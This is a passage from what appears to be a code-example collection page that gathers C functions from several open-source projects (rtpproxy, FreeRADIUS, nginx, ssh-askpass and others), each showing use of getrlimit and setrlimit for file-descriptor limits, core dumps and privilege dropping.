    pthread_mutex_init(&cf->sessinfo.lock, NULL);
    pthread_mutex_init(&cf->bindaddr_lock, NULL);

    if (getrlimit(RLIMIT_NOFILE, &(cf->stable.nofile_limit)) != 0)
	err(1, "getrlimit");

    while ((ch = getopt(argc, argv, "vf2Rl:6:s:S:t:r:p:T:L:m:M:u:Fin:Pad:")) != -1)
	switch (ch) {
	case 'f':
	    cf->stable.nodaemon = 1;
	    break;

	case 'l':
	    bh[0] = optarg;
	    bh[1] = strchr(bh[0], '/');
	    if (bh[1] != NULL) {
		*bh[1] = '\0';
		bh[1]++;
		cf->stable.bmode = 1;
	    }
	    break;

	case '6':
	    bh6[0] = optarg;
	    bh6[1] = strchr(bh6[0], '/');
	    if (bh6[1] != NULL) {
		*bh6[1] = '\0';
		bh6[1]++;
		cf->stable.bmode = 1;
	    }
	    break;

	case 's':
	    if (strncmp("udp:", optarg, 4) == 0) {
		cf->stable.umode = 1;
		optarg += 4;
	    } else if (strncmp("udp6:", optarg, 5) == 0) {
		cf->stable.umode = 6;
		optarg += 5;
	    } else if (strncmp("unix:", optarg, 5) == 0) {
		cf->stable.umode = 0;
		optarg += 5;
	    }
	    cmd_sock = optarg;
	    break;

	case 't':
	    cf->stable.tos = atoi(optarg);
	    if (cf->stable.tos > 255)
		errx(1, "%d: TOS is too large", cf->stable.tos);
	    break;

	case '2':
	    cf->stable.dmode = 1;
	    break;

	case 'v':
	    printf("Basic version: %d\n", CPROTOVER);
	    for (i = 1; proto_caps[i].pc_id != NULL; ++i) {
		printf("Extension %s: %s\n", proto_caps[i].pc_id,
		    proto_caps[i].pc_description);
	    }
	    exit(0);
	    break;

	case 'r':
	    cf->stable.rdir = optarg;
	    break;

	case 'S':
	    cf->stable.sdir = optarg;
	    break;

	case 'R':
	    cf->stable.rrtcp = 0;
	    break;

	case 'p':
	    pid_file = optarg;
	    break;

	case 'T':
	    cf->stable.max_ttl = atoi(optarg);
	    break;

	case 'L':
	    cf->stable.nofile_limit.rlim_cur = cf->stable.nofile_limit.rlim_max = atoi(optarg);
	    if (setrlimit(RLIMIT_NOFILE, &(cf->stable.nofile_limit)) != 0)
		err(1, "setrlimit");
	    if (getrlimit(RLIMIT_NOFILE, &(cf->stable.nofile_limit)) != 0)
		err(1, "getrlimit");
	    if (cf->stable.nofile_limit.rlim_max < atoi(optarg))
		warnx("limit allocated by setrlimit (%d) is less than "
		  "requested (%d)", (int) cf->stable.nofile_limit.rlim_max,
		  atoi(optarg));
	    break;

	case 'm':
	    cf->stable.port_min = atoi(optarg);
	    break;

	case 'M':
	    cf->stable.port_max = atoi(optarg);
	    break;

	case 'u':
	    cf->stable.run_uname = optarg;
	    cp = strchr(optarg, ':');
	    if (cp != NULL) {
		if (cp == optarg)
		    cf->stable.run_uname = NULL;
		cp[0] = '\0';
		cp++;
	    }
	    cf->stable.run_gname = cp;
	    cf->stable.run_uid = -1;
	    cf->stable.run_gid = -1;
	    if (cf->stable.run_uname != NULL) {
		pp = getpwnam(cf->stable.run_uname);
		if (pp == NULL)
		    err(1, "can't find ID for the user: %s", cf->stable.run_uname);
		cf->stable.run_uid = pp->pw_uid;
		if (cf->stable.run_gname == NULL)
		    cf->stable.run_gid = pp->pw_gid;
	    }
	    if (cf->stable.run_gname != NULL) {
		gp = getgrnam(cf->stable.run_gname);
		if (gp == NULL)
		    err(1, "can't find ID for the group: %s", cf->stable.run_gname);
		cf->stable.run_gid = gp->gr_gid;
	    }
	    break;

	case 'F':
	    cf->stable.no_check = 1;
	    break;

	case 'i':
	    cf->stable.ttl_mode = TTL_INDEPENDENT;
	    break;

	case 'n':
	    if(strncmp("unix:", optarg, 5) == 0)
		optarg += 5;
	    if(strlen(optarg) == 0)
		errx(1, "timeout notification socket name too short");
	    cf->timeout_socket = optarg;
	    break;

	case 'P':
	    cf->stable.record_pcap = 1;
	    break;

	case 'a':
	    cf->stable.record_all = 1;
	    break;

	case 'd':
	    cp = strchr(optarg, ':');
	    if (cp != NULL) {
		cf->stable.log_facility = rtpp_log_str2fac(cp + 1);
		if (cf->stable.log_facility == -1)
		    errx(1, "%s: invalid log facility", cp + 1);
		*cp = '\0';
	    }
	    cf->stable.log_level = rtpp_log_str2lvl(optarg);
	    if (cf->stable.log_level == -1)
		errx(1, "%s: invalid log level", optarg);
	    break;

	case '?':
	default:
	    usage();
	}
    if (cf->stable.rdir == NULL && cf->stable.sdir != NULL)
	errx(1, "-S switch requires -r switch");

    if (cf->stable.no_check == 0 && getuid() == 0 && cf->stable.run_uname == NULL) {
	if (cf->stable.umode != 0) {
	    errx(1, "running this program as superuser in a remote control "
	      "mode is strongly not recommended, as it poses serious security "
	      "threat to your system. Use -u option to run as an unprivileged "
	      "user or -F is you want to run as a superuser anyway.");
	} else {
	    warnx("WARNING!!! Running this program as superuser is strongly "
	      "not recommended, as it may pose serious security threat to "
	      "your system. Use -u option to run as an unprivileged user "
	      "or -F to surpress this warning.");
	}
    }

    /* make sure that port_min and port_max are even */
    if ((cf->stable.port_min % 2) != 0)
	cf->stable.port_min++;
    if ((cf->stable.port_max % 2) != 0) {
	cf->stable.port_max--;
    } else {
	/*
	 * If port_max is already even then there is no
	 * "room" for the RTCP port, go back by two ports.
	 */
	cf->stable.port_max -= 2;
    }

    if (!IS_VALID_PORT(cf->stable.port_min))
	errx(1, "invalid value of the port_min argument, "
	  "not in the range 1-65535");
    if (!IS_VALID_PORT(cf->stable.port_max))
	errx(1, "invalid value of the port_max argument, "
	  "not in the range 1-65535");
    if (cf->stable.port_min > cf->stable.port_max)
	errx(1, "port_min should be less than port_max");

    cf->sessinfo.sessions = malloc((sizeof cf->sessinfo.sessions[0]) *
      (((cf->stable.port_max - cf->stable.port_min + 1) * 2) + 1));
    cf->rtp_servers =  malloc((sizeof cf->rtp_servers[0]) *
      (((cf->stable.port_max - cf->stable.port_min + 1) * 2) + 1));
    cf->sessinfo.pfds = malloc((sizeof cf->sessinfo.pfds[0]) *
      (((cf->stable.port_max - cf->stable.port_min + 1) * 2) + 1));

    if (bh[0] == NULL && bh[1] == NULL && bh6[0] == NULL && bh6[1] == NULL) {
	bh[0] = "*";
    }

    for (i = 0; i < 2; i++) {
	if (bh[i] != NULL && *bh[i] == '\0')
	    bh[i] = NULL;
	if (bh6[i] != NULL && *bh6[i] == '\0')
	    bh6[i] = NULL;
    }

    i = ((bh[0] == NULL) ? 0 : 1) + ((bh[1] == NULL) ? 0 : 1) +
      ((bh6[0] == NULL) ? 0 : 1) + ((bh6[1] == NULL) ? 0 : 1);
    if (cf->stable.bmode != 0) {
	if (bh[0] != NULL && bh6[0] != NULL)
	    errx(1, "either IPv4 or IPv6 should be configured for external "
	      "interface in bridging mode, not both");
	if (bh[1] != NULL && bh6[1] != NULL)
	    errx(1, "either IPv4 or IPv6 should be configured for internal "
	      "interface in bridging mode, not both");
	if (i != 2)
	    errx(1, "incomplete configuration of the bridging mode - exactly "
	      "2 listen addresses required, %d provided", i);
    } else if (i != 1) {
	errx(1, "exactly 1 listen addresses required, %d provided", i);
    }

    for (i = 0; i < 2; i++) {
	cf->stable.bindaddr[i] = NULL;
	if (bh[i] != NULL) {
	    cf->stable.bindaddr[i] = host2bindaddr(cf, bh[i], AF_INET, &errmsg);
	    if (cf->stable.bindaddr[i] == NULL)
		errx(1, "host2bindaddr: %s", errmsg);
	    continue;
	}
	if (bh6[i] != NULL) {
	    cf->stable.bindaddr[i] = host2bindaddr(cf, bh6[i], AF_INET6, &errmsg);
	    if (cf->stable.bindaddr[i] == NULL)
		errx(1, "host2bindaddr: %s", errmsg);
	    continue;
	}
    }
    if (cf->stable.bindaddr[0] == NULL) {
	cf->stable.bindaddr[0] = cf->stable.bindaddr[1];
	cf->stable.bindaddr[1] = NULL;
    }
}
示例#19
0
/*
 *  Do chroot, if requested.
 *
 *  Switch UID and GID to what is specified in the config file
 */
static int switch_users(CONF_SECTION *cs)
{
#ifdef HAVE_SYS_RESOURCE_H
	/*
	 *	Get the current maximum for core files.  Do this
	 *	before anything else so as to ensure it's properly
	 *	initialized.
	 */
	if (getrlimit(RLIMIT_CORE, &core_limits) < 0) {
		ERROR("Failed to get current core limit:  %s", fr_syserror(errno));
		return 0;
	}
#endif

	/*
	 *	Don't do chroot/setuid/setgid if we're in debugging
	 *	as non-root.
	 */
	if (debug_flag && (getuid() != 0)) return 1;

	if (cf_section_parse(cs, NULL, bootstrap_config) < 0) {
		fprintf(stderr, "radiusd: Error: Failed to parse user/group information.\n");
		return 0;
	}


#ifdef HAVE_GRP_H
	/*  Set GID.  */
	if (gid_name) {
		struct group *gr;

		gr = getgrnam(gid_name);
		if (gr == NULL) {
			fprintf(stderr, "%s: Cannot get ID for group %s: %s\n",
				progname, gid_name, fr_syserror(errno));
			return 0;
		}
		server_gid = gr->gr_gid;
	} else {
		server_gid = getgid();
	}
#endif

#ifdef HAVE_PWD_H
	/*  Set UID.  */
	if (uid_name) {
		struct passwd *pw;

		pw = getpwnam(uid_name);
		if (pw == NULL) {
			fprintf(stderr, "%s: Cannot get passwd entry for user %s: %s\n",
				progname, uid_name, fr_syserror(errno));
			return 0;
		}

		if (getuid() == pw->pw_uid) {
			uid_name = NULL;
		} else {

			server_uid = pw->pw_uid;
#ifdef HAVE_INITGROUPS
			if (initgroups(uid_name, server_gid) < 0) {
				fprintf(stderr, "%s: Cannot initialize supplementary group list for user %s: %s\n",
					progname, uid_name, fr_syserror(errno));
				return 0;
			}
#endif
		}
	} else {
		server_uid = getuid();
	}
#endif

	if (chroot_dir) {
		if (chroot(chroot_dir) < 0) {
			fprintf(stderr, "%s: Failed to perform chroot %s: %s",
				progname, chroot_dir, fr_syserror(errno));
			return 0;
		}

		/*
		 *	Note that we leave chdir alone.  It may be
		 *	OUTSIDE of the root.  This allows us to read
		 *	the configuration from "-d ./etc/raddb", with
		 *	the chroot as "./chroot/" for example.  After
		 *	the server has been loaded, it does a "cd
		 *	${logdir}" below, so that core files (if any)
		 *	go to a logging directory.
		 *
		 *	This also allows the configuration of the
		 *	server to be outside of the chroot.  If the
		 *	server is statically linked, then the only
		 *	things needed inside of the chroot are the
		 *	logging directories.
		 */
	}

#ifdef HAVE_GRP_H
	/*  Set GID.  */
	if (gid_name && (setgid(server_gid) < 0)) {
		fprintf(stderr, "%s: Failed setting group to %s: %s",
			progname, gid_name, fr_syserror(errno));
		return 0;
	}
#endif

#ifdef HAVE_SETUID
	/*
	 *	Just before losing root permissions, ensure that the
	 *	log files have the correct owner && group.
	 *
	 *	We have to do this because the log file MAY have been
	 *	specified on the command-line.
	 */
	if (uid_name || gid_name) {
		if ((default_log.dest == L_DST_FILES) &&
		    (default_log.fd < 0)) {
			default_log.fd = open(mainconfig.log_file,
					      O_WRONLY | O_APPEND | O_CREAT, 0640);
			if (default_log.fd < 0) {
				fprintf(stderr, "radiusd: Failed to open log file %s: %s\n", mainconfig.log_file, fr_syserror(errno));
				return 0;
			}

			if (chown(mainconfig.log_file, server_uid, server_gid) < 0) {
				fprintf(stderr, "%s: Cannot change ownership of log file %s: %s\n",
					progname, mainconfig.log_file, fr_syserror(errno));
				return 0;
			}
		}
	}

	if (uid_name) {
		doing_setuid = true;

		fr_suid_down();
	}
#endif

	/*
	 *	This also clears the dumpable flag if core dumps
	 *	aren't allowed.
	 */
	fr_set_dumpable();

	if (allow_core_dumps) {
		INFO("Core dumps are enabled");
	}

	return 1;
}
示例#20
0
文件: 13-4.c 项目: klion26/APUE
void daemonize(const char* cmd)
{
	int i, fd0, fd1, fd2;
	pid_t pid;

	struct rlimit rl;
	struct sigaction sa;
	/* clear file creation mask. */
	umask(0);
	/*
	 * Get maximum number of file descriptors.
	 */
	if(getrlimit(RLIMIT_NOFILE, &rl) < 0)
		err_quit("%s: can't get file limit", cmd);

	/*
	 * Become a session leader to loss controlling TTY.
	 */
	if((pid = fork()) < 0)
		err_quit("%s: can't fork", cmd);
	else if(pid != 0)  //parent
		exit(0);
	setsid();

	printf("setsid success\n");
	/*
	 * Ensure future opens won't allocate controlling TTYs.
	 */
	sa.sa_handler = SIG_IGN;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = 0;
	if(sigaction(SIGHUP, &sa, NULL) < 0)
		err_quit("%s: can't ignore SIGHUP", cmd);
	if((pid = fork()) < 0)
		err_quit("%s: can't fork", cmd);
	else if(pid != 0)  //parent
		exit(0);

	printf("second child\n");
	/*
	 * change the current working directory to the root so
	 * we won't prevent file systems from being unmounted.
	 */
	if(chdir("/tmp") < 0)
		err_quit("%s: can't change directory to /", cmd);
	else
		printf("chdir successed\n");
	/*
	 * Close all open file descriptors.
	 */
	if(rl.rlim_max == RLIM_INFINITY)
		rl.rlim_max = 1024;
	for(i=0; i<rl.rlim_max; ++i)
		close(i);

	printf("rlimit_max:%d\n",rl.rlim_max);
	/*
	 * Attach file descriptors 0, 1 and 2 to /dev/null
	 */
	fd0 = open("/dev/null", O_RDWR);
	fd1 = dup(0);
	fd2 = dup(0);

	/*
	 * Initialize to log file.
	 */
#if 1
	printf("before openlog\n");
	openlog(cmd, LOG_CONS, LOG_DAEMON);
	printf("after openlog\n");
	if(fd0 != 0 || fd1 != 1 || fd2 != 2)
	{
		syslog(LOG_ERR, "unexpected file descriptors %d %d %d", fd0, fd1, fd2);
		printf("fd error\n");
		exit(1);
	}
#endif
#if 0
	FILE* fp;
	time_t t;
	while(1)
	{
		sleep(60); 
		fp = fopen(cmd,"a");
		if(fp >= 0)
			fprintf(fp, "im here %s\n", asctime(localtime(&t)));
		fclose(fp);
	}
#endif
}
示例#21
0
gboolean
grg_security_filter(gboolean rootCheck)
{
    gint            canary;
    struct rlimit  *rl;
#ifdef ENV_CHECK
    regex_t         regexp1,
                    regexp2;
    gchar          *display,
                   *xauth;
#endif
    gchar          *lang;
    gchar          *htab;

    if (!rootCheck && (!getuid() || !geteuid()))
	// forbid usage as root user
    {
#ifdef ROOT_FILTER
	g_critical("%s %s",
		   _
		   ("For security reasons, you cannot run Gringotts as root user."),
		   _
		   ("Try to compile with --disable-root-filter in ./configure"));
#else
	g_critical("%s %s",
		   _
		   ("For security reasons, you cannot run Gringotts as root user."),
		   _("Try using -s"));
#endif
	return FALSE;
    }

    // set and check core dump generation
    rl = (struct rlimit *) grg_malloc(sizeof(struct rlimit));
    rl->rlim_cur = rl->rlim_max = 0;
    setrlimit(RLIMIT_CORE, rl);
    getrlimit(RLIMIT_CORE, rl);
    if (rl->rlim_cur || rl->rlim_max)	// no need to give any message, it 
					// should be impossible
	return FALSE;
    g_free(rl);

    // checks that stderr, stdin & stdout are opened
    canary = open("/dev/null", O_RDONLY);
    if (canary < 3) {
	g_critical("%s",
		   _
		   ("stdin, stdout and/or stderr are invalid. Cannot continue."));
	close(canary);
	return FALSE;
    }
    close(canary);

    // extract needed environmental vars, validate, erase environment,
    // and re-set them (see Secure Programming HowTo, sect.4.2)

    // extract
    lang = getenv("LANG");
    htab = getenv("HTAB");
#ifdef ENV_CHECK
    display = getenv("DISPLAY");
    xauth = getenv("XAUTHORITY");
    // validate
    regcomp(&regexp1, "[[:alpha:]][[:alnum:]_,+@\\-\\.=]*", REG_EXTENDED);
    regcomp(&regexp2,
	    "[[:digit:]{1,3}\\.[:digit:]{1,3}\\.[:digit:]{1,3}\\.[:digit:]{1,3}]?:[[:digit:]\\.]+",
	    REG_EXTENDED);
    if (((lang != NULL) && (regexec(&regexp1, lang, 0, NULL, 0)))
	|| ((xauth != NULL) && (!g_file_test(xauth, G_FILE_TEST_EXISTS)))
	|| ((display != NULL) && (regexec(&regexp2, display, 0, NULL, 0)))) {
	g_critical("%s",
		   _
		   ("Invalid environment variables. They could have been manipulated."));
	return FALSE;
    }
#endif

    // don't know why, but it seems necessary
    setlocale(LC_ALL, lang);
    mapIsUTF = g_get_charset(NULL);

#ifdef ENV_CHECK
    // erase
#ifdef HAVE_CLEARENV
    clearenv();
#else
#ifdef HAVE_ENVIRON
    {
	extern char   **environ;

	environ = NULL;
    }
#endif
#endif

    // re-set (warning: don't free() the g_strconcat'ed strings)
    if (lang != NULL)
	putenv(g_strconcat("LANG=", lang, NULL));
    if (htab != NULL)
	putenv(g_strconcat("HTAB=", htab, NULL));
    putenv(g_strconcat("DISPLAY=", display, NULL));
    if (xauth != NULL)
	putenv(g_strconcat("XAUTHORITY=", xauth, NULL));
    putenv(g_strconcat("HOME=", g_get_home_dir(), NULL));
#endif

    // necessary to handle files correctly
    if (!mapIsUTF)
	putenv("G_BROKEN_FILENAMES=1");

    // this enables a stronger check on malloc() routines
#ifdef MAINTAINER_MODE
    putenv("MALLOC_CHECK_=2");
#else
    putenv("MALLOC_CHECK_=0");
#endif

    // initializes the security level indicator
    if (!(geteuid() && getegid() && getuid() && getgid()))
	change_sec_level(GRG_UNSAFE);

#ifdef HAVE_MLOCKALL
    if (!mem_safe)
	change_sec_level(GRG_UNSAFE);
#endif

    if (!ptrace_safe)
	change_sec_level(GRG_UNSAFE);

#ifndef ENV_CHECK
    change_sec_level(GRG_UNSAFE);
#endif

    if (grg_ctx_get_security_lvl(gctx) != GRG_SEC_PARANOIA)
	change_sec_level(GRG_SLIGHTLY_UNSAFE);

#ifndef ROOT_FILTER
    if (safety_level == GRG_SAFE)
	change_sec_level(GRG_SLIGHTLY_UNSAFE);
#endif

    return TRUE;
}
示例#22
0
文件: app_main.c 项目: babubalu/ofp
int main(int argc, char *argv[])
{
	odph_linux_pthread_t thread_tbl[MAX_WORKERS];
	appl_args_t params;
	int core_count, num_workers;
	odp_cpumask_t cpumask;
	char cpumaskstr[64];

	struct rlimit rlp;
	getrlimit(RLIMIT_CORE, &rlp);
	printf("RLIMIT_CORE: %ld/%ld\n", rlp.rlim_cur, rlp.rlim_max);
	rlp.rlim_cur = 200000000;
	printf("Setting to max: %d\n", setrlimit(RLIMIT_CORE, &rlp));

	/* Parse and store the application arguments */
	parse_args(argc, argv, &params);

	/* Print both system and application information */
	print_info(NO_PATH(argv[0]), &params);

	if (odp_init_global(NULL, NULL)) {
		OFP_ERR("Error: ODP global init failed.\n");
		exit(EXIT_FAILURE);
	}
	if (odp_init_local(ODP_THREAD_CONTROL)) {
		OFP_ERR("Error: ODP local init failed.\n");
		exit(EXIT_FAILURE);
	}

	core_count = odp_cpu_count();
	num_workers = core_count;

	if (params.core_count)
		num_workers = params.core_count;
	if (num_workers > MAX_WORKERS)
		num_workers = MAX_WORKERS;

	/*
	 * By default core #0 runs Linux kernel background tasks.
	 * Start mapping thread from core #1
	 */
	memset(&app_init_params, 0, sizeof(app_init_params));

	app_init_params.linux_core_id = 0;

	if (core_count > 1)
		num_workers--;

#if ODP_VERSION < 104
	num_workers = odp_cpumask_def_worker(&cpumask, num_workers);
#else
	num_workers = odp_cpumask_default_worker(&cpumask, num_workers);
#endif
	odp_cpumask_to_str(&cpumask, cpumaskstr, sizeof(cpumaskstr));

	printf("Num worker threads: %i\n", num_workers);
	printf("first CPU:          %i\n", odp_cpumask_first(&cpumask));
	printf("cpu mask:           %s\n", cpumaskstr);

	app_init_params.if_count = params.if_count;
	app_init_params.if_names = params.if_names;
	app_init_params.pkt_hook[OFP_HOOK_LOCAL] = fastpath_local_hook;
	if (ofp_init_global(&app_init_params)) {
		OFP_ERR("Error: OFP global init failed.\n");
		exit(EXIT_FAILURE);
	}

	memset(thread_tbl, 0, sizeof(thread_tbl));
	/* Start dataplane dispatcher worker threads */

	odph_linux_pthread_create(thread_tbl,
				  &cpumask,
				  default_event_dispatcher,
				  ofp_eth_vlan_processing);

	/* other app code here.*/
	/* Start CLI */
	ofp_start_cli_thread(app_init_params.linux_core_id, params.conf_file);

	/* multicast test */
	ofp_multicast_thread(app_init_params.linux_core_id);

	odph_linux_pthread_join(thread_tbl, num_workers);
	printf("End Main()\n");

	return 0;
}
示例#23
0
// ngx_event_core_module模块的init_module()回调函数。
static ngx_int_t
ngx_event_module_init(ngx_cycle_t *cycle)
{
    void              ***cf;
    u_char              *shared;
    size_t               size, cl;
    ngx_shm_t            shm;
    ngx_time_t          *tp;
    ngx_core_conf_t     *ccf;
    ngx_event_conf_t    *ecf;

    cf = ngx_get_conf(cycle->conf_ctx, ngx_events_module);
    ecf = (*cf)[ngx_event_core_module.ctx_index];

    if (!ngx_test_config && ngx_process <= NGX_PROCESS_MASTER) {
        ngx_log_error(NGX_LOG_NOTICE, cycle->log, 0,
                      "using the \"%s\" event method", ecf->name);
    }

    ccf = (ngx_core_conf_t *) ngx_get_conf(cycle->conf_ctx, ngx_core_module);

    ngx_timer_resolution = ccf->timer_resolution;

#if !(NGX_WIN32)
    {
    ngx_int_t      limit;
    struct rlimit  rlmt;

    // 如果进程可以打开的最大句柄数小于进程的最大连接数,打印警告。
    if (getrlimit(RLIMIT_NOFILE, &rlmt) == -1) {
        ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                      "getrlimit(RLIMIT_NOFILE) failed, ignored");

    } else {
        if (ecf->connections > (ngx_uint_t) rlmt.rlim_cur
            && (ccf->rlimit_nofile == NGX_CONF_UNSET
                || ecf->connections > (ngx_uint_t) ccf->rlimit_nofile))
        {
            limit = (ccf->rlimit_nofile == NGX_CONF_UNSET) ?
                         (ngx_int_t) rlmt.rlim_cur : ccf->rlimit_nofile;

            ngx_log_error(NGX_LOG_WARN, cycle->log, 0,
                          "%ui worker_connections exceed "
                          "open file resource limit: %i",
                          ecf->connections, limit);
        }
    }
    }
#endif /* !(NGX_WIN32) */


    if (ccf->master == 0) {
        return NGX_OK;
    }

    if (ngx_accept_mutex_ptr) {
        return NGX_OK;
    }


    /* cl should be equal to or greater than cache line size */

    cl = 128;

    size = cl            /* ngx_accept_mutex */
           + cl          /* ngx_connection_counter */
           + cl;         /* ngx_temp_number */

#if (NGX_STAT_STUB)

    size += cl           /* ngx_stat_accepted */
           + cl          /* ngx_stat_handled */
           + cl          /* ngx_stat_requests */
           + cl          /* ngx_stat_active */
           + cl          /* ngx_stat_reading */
           + cl          /* ngx_stat_writing */
           + cl;         /* ngx_stat_waiting */

#endif

    shm.size = size;
    shm.name.len = sizeof("nginx_shared_zone");
    shm.name.data = (u_char *) "nginx_shared_zone";
    shm.log = cycle->log;

    if (ngx_shm_alloc(&shm) != NGX_OK) {
        return NGX_ERROR;
    }

    shared = shm.addr;

    ngx_accept_mutex_ptr = (ngx_atomic_t *) shared;
    ngx_accept_mutex.spin = (ngx_uint_t) -1;

    if (ngx_shmtx_create(&ngx_accept_mutex, (ngx_shmtx_sh_t *) shared,
                         cycle->lock_file.data)
        != NGX_OK)
    {
        return NGX_ERROR;
    }

    ngx_connection_counter = (ngx_atomic_t *) (shared + 1 * cl);

    (void) ngx_atomic_cmp_set(ngx_connection_counter, 0, 1);

    ngx_log_debug2(NGX_LOG_DEBUG_EVENT, cycle->log, 0,
                   "counter: %p, %d",
                   ngx_connection_counter, *ngx_connection_counter);

    ngx_temp_number = (ngx_atomic_t *) (shared + 2 * cl);

    tp = ngx_timeofday();

    ngx_random_number = (tp->msec << 16) + ngx_pid;

#if (NGX_STAT_STUB)

    ngx_stat_accepted = (ngx_atomic_t *) (shared + 3 * cl);
    ngx_stat_handled = (ngx_atomic_t *) (shared + 4 * cl);
    ngx_stat_requests = (ngx_atomic_t *) (shared + 5 * cl);
    ngx_stat_active = (ngx_atomic_t *) (shared + 6 * cl);
    ngx_stat_reading = (ngx_atomic_t *) (shared + 7 * cl);
    ngx_stat_writing = (ngx_atomic_t *) (shared + 8 * cl);
    ngx_stat_waiting = (ngx_atomic_t *) (shared + 9 * cl);

#endif

    return NGX_OK;
}
示例#24
0
int main(int argc, char **argv)
{
   AppInfo app;
   XEvent event;
   XineramaScreenInfo *screens;
   int nscreens;

   memset(&app, 0, sizeof(app));
   
   progclass = "SshAskpass";
   app.toplevelShell = XtAppInitialize(&(app.appContext), progclass,
					NULL, 0, &argc, argv,
					defaults, NULL, 0);
   app.argc = argc;
   app.argv = argv;
   app.dpy = XtDisplay(app.toplevelShell);
   app.screen = DefaultScreenOfDisplay(app.dpy);
   app.rootWindow = RootWindowOfScreen(app.screen);
   app.black = BlackPixel(app.dpy, DefaultScreen(app.dpy));
   app.white = WhitePixel(app.dpy, DefaultScreen(app.dpy));
   app.colormap = DefaultColormapOfScreen(app.screen);
   app.resourceDb = XtDatabase(app.dpy);
   XtGetApplicationNameAndClass(app.dpy, &progname, &progclass);
   app.appName = progname;
   app.appClass = progclass;
   /* For resources.c. */
   db = app.resourceDb;
   
   /* Seconds after which keyboard/pointer grab fail. */
   app.grabFailTimeout = 5;
   /* Number of seconds to wait between grab attempts. */
   app.grabRetryInterval = 1;
   
   app.pid = getpid();

   {
      struct rlimit resourceLimit;
      int status;
      
      status = getrlimit(RLIMIT_CORE, &resourceLimit);
      if (-1 == status) {
	 fprintf(stderr, "%s[%ld]: getrlimit failed (%s)\n", app.appName,
		 (long) app.pid, strerror(errno));
	 exit(EXIT_STATUS_ERROR);
      }
      resourceLimit.rlim_cur = 0;
      status = setrlimit(RLIMIT_CORE, &resourceLimit);
      if (-1 == status) {
	 fprintf(stderr, "%s[%ld]: setrlimit failed (%s)\n", app.appName,
		 (long) app.pid, strerror(errno));
	 exit(EXIT_STATUS_ERROR);
      }
   }

   app.screen_width = WidthOfScreen(app.screen);
   app.screen_height = HeightOfScreen(app.screen);
   app.screen_xoffset = 0;
   app.screen_yoffset = 0;
   if (XineramaIsActive(app.dpy) &&
      (screens = XineramaQueryScreens(app.dpy, &nscreens)) != NULL &&
      nscreens) {
      app.screen_width = screens[0].width;
      app.screen_height = screens[0].height;
      app.screen_xoffset = screens[0].x_org;
      app.screen_yoffset = screens[0].y_org;
      XFree(screens);
   }

   app.xResolution =
      app.screen_width * 1000 / WidthMMOfScreen(app.screen);
   app.yResolution =
      app.screen_height * 1000 / HeightMMOfScreen(app.screen);

   createDialog(&app);
   createGCs(&app);
   
   app.eventMask = 0;
   app.eventMask |= ExposureMask;
   app.eventMask |= ButtonPressMask;
   app.eventMask |= ButtonReleaseMask;
   app.eventMask |= Button1MotionMask;
   app.eventMask |= KeyPressMask;

   createDialogWindow(&app);
   
   XMapWindow(app.dpy, app.dialog->dialogWindow);
   if (app.inputTimeout > 0) {
      app.inputTimeoutActive = True;
      app.inputTimeoutTimerId =
	 XtAppAddTimeOut(app.appContext, app.inputTimeout,
			 handleInputTimeout, (XtPointer) &app);
   }

   
   while(True) {
      XtAppNextEvent(app.appContext, &event);
      switch (event.type) {
       case Expose:
	 grabServer(&app);
	 grabKeyboard(&app);
	 grabPointer(&app);
	 if (event.xexpose.count) {
	    break;
	 }
	 paintDialog(&app);
	 break;
       case ButtonPress:
       case ButtonRelease:
	 handleButtonPress(&app, &event);
	 break;
       case MotionNotify:
	 handlePointerMotion(&app, &event);
       case KeyPress:
	 handleKeyPress(&app, &event);
	 break;
       case ClientMessage:
	 if ((32 == event.xclient.format) &&
	     ((unsigned long) event.xclient.data.l[0] ==
	      app.wmDeleteWindowAtom)) {
	    cancelAction(&app);
	 }
	 break;
       default:
	 break;
      }
   }

   fprintf(stderr, "%s[%ld]: This should not happen.\n", app.appName,
	   (long) app.pid);
   return(EXIT_STATUS_ANOMALY);
}
示例#25
0
static int
mygetLimits(struct lsfLimit *limits)
{
    int i;
    struct rlimit rlimit;

    for (i = 0; i < LSF_RLIM_NLIMITS; i++) {
	rlimit.rlim_cur = RLIM_INFINITY;
	rlimit.rlim_max = RLIM_INFINITY;
	rlimitEncode_(&limits[i], &rlimit, i);
    }

#ifdef  RLIMIT_CPU
    if (getrlimit(RLIMIT_CPU, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_CPU], &rlimit, LSF_RLIMIT_CPU);
#endif

#ifdef  RLIMIT_FSIZE
    if (getrlimit(RLIMIT_FSIZE, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_FSIZE], &rlimit, LSF_RLIMIT_FSIZE);
#endif

#ifdef RLIMIT_DATA
    if (getrlimit(RLIMIT_DATA, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_DATA], &rlimit, LSF_RLIMIT_DATA);
#endif

#ifdef RLIMIT_STACK
    if (getrlimit(RLIMIT_STACK, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_STACK], &rlimit, LSF_RLIMIT_STACK);
#endif

#ifdef RLIMIT_CORE
    if (getrlimit(RLIMIT_CORE, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_CORE], &rlimit, LSF_RLIMIT_CORE);
#endif

#ifdef RLIMIT_NOFILE
    if (getrlimit(RLIMIT_NOFILE, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_NOFILE], &rlimit, LSF_RLIMIT_NOFILE);
#endif

#ifdef RLIMIT_OPEN_MAX
    if (getrlimit(RLIMIT_OPEN_MAX, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_OPEN_MAX], &rlimit, LSF_RLIMIT_OPEN_MAX);
#endif

#ifdef RLIMIT_VMEM
    if (getrlimit(RLIMIT_VMEM, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_VMEM], &rlimit, LSF_RLIMIT_VMEM);
#endif

#ifdef RLIMIT_RSS
    if (getrlimit(RLIMIT_RSS, &rlimit) < 0)
	return -1;
    rlimitEncode_(&limits[LSF_RLIMIT_RSS], &rlimit, LSF_RLIMIT_RSS);
#endif

    return 0;
}
示例#26
0
static int
fdwalk (int (*cb)(void *data, int fd), void *data)
{
  gint open_max;
  gint fd;
  gint res = 0;

#ifdef HAVE_SYS_RESOURCE_H
  struct rlimit rl;
#endif

#ifdef __linux__
  DIR *d;

